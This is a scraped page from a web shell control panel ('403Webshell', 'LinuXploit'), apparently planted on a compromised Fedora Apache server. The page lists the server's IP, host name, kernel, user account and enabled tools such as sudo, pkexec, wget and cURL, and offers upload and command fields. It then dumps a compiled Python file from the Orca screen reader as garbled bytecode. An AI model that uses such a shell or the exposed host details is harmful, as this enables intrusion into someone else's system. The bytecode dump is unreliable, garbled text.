403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyc
Ñò
z#ÝJc@scdZdZdZdZdZdZddkZddkZddkl	Z	d	dd
„ƒYZ
dS(s)Displays a GUI for the user to quit Orca.s$Id$s
$Revision$s$Date$s-Copyright (c) 2005-2009 Sun Microsystems Inc.tLGPLiÿÿÿÿN(t_tGtkBuilderWrappercBs;eZdZd„Zd„Zd„Zd„Zd„ZRS(s”
    Superclass for GtkBuilder based applications. Just derive from this
    and your subclass should create methods whose names correspond to
    the signal handlers defined in the GtkBuilder file. Any other attributes
    in your class will be safely ignored.

    This class will give you the ability to do:
        subclass_instance.GtkWindow.method(...)
        subclass_instance.widget_name...
    cCsÄtiƒ|_|iitiƒƒ|ii|ƒ|ii|ƒ|_x&|ii	ƒD]}|i
|ƒ}qZW|iƒh}x*t|i
ƒD]}t||ƒ||<q“W|ii|ƒdS(N(tgtktBuildertbuildertset_translation_domaintgettextt
textdomaint
add_from_filet
get_objectt	gtkWindowtget_objectstlocalize_widgett
set_orca_icontdirt	__class__tgetattrtconnect_signals(tselftfileNamet
windowNametobjtsuccesstinstance_attributest	attribute((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyt__init__-s
c	Cs¡tiƒ}ym|idddƒ}|idddƒ}|idddƒ}|idddƒ}|idddƒ}WndSXti|||||ƒdS(	svGet the icon in all sizes from the current theme and set them as
        default for all application windows.
        torcaiiiii i0N(Rticon_theme_get_defaultt	load_icontwindow_set_default_icon_list(Rt
icon_themeticon16ticon22ticon24ticon32ticon48((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyRBs	cCs;|ii|ƒ}|djotd|dƒ‚n|S(s(Return the requested widget. This routine has been introduced
        (and calls to it made by the Orca GtkBuilder sub-classes), to prevent
        "No class attribute" pychecker errors caused when using __getattr__.

        Arguments:
        - attribute: name of the widget to return.
        sWidget [s] not foundN(RR
tNonetAttributeError(RRtwidget((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyt
get_widgetWs	
cCsH|ii|ƒ}|djotd|dƒ‚n||i|<|S(NsWidget [s] not found(RR
R%R&t__dict__(RRR'((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyt__getattr__fs


c	Csy|iƒ}|iƒ}Wnt}t}nXt|tiƒodSy;|iƒ}|o$t|ƒo|it	|ƒƒnWnky|i
ƒ}WntSX|oBt|ƒo5|o|it	|ƒƒqï|it	|ƒƒqónX|o|i
tƒntS(sªForce the localization of the label/title of GtkBuilder objects

        Arguments:
        - obj: the GtkBuilder object whose label or title should be localized
        N(tget_use_markuptget_use_underlinetFalset
isinstanceRtFramet	get_titletlent	set_titleRt	get_labelt
set_markupt	set_labeltset_use_underlinetTrue(RRt	useMarkuptuseUnderlinettitlettext((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyR
ns0
(t__name__t
__module__t__doc__RRR(R*R
(((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyR!s
				((R>t__id__t__version__t__date__t
__copyright__t__license__RRt	orca_i18nRR(((s8/usr/lib/python2.6/site-packages/orca/orca_gtkbuilder.pyt<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit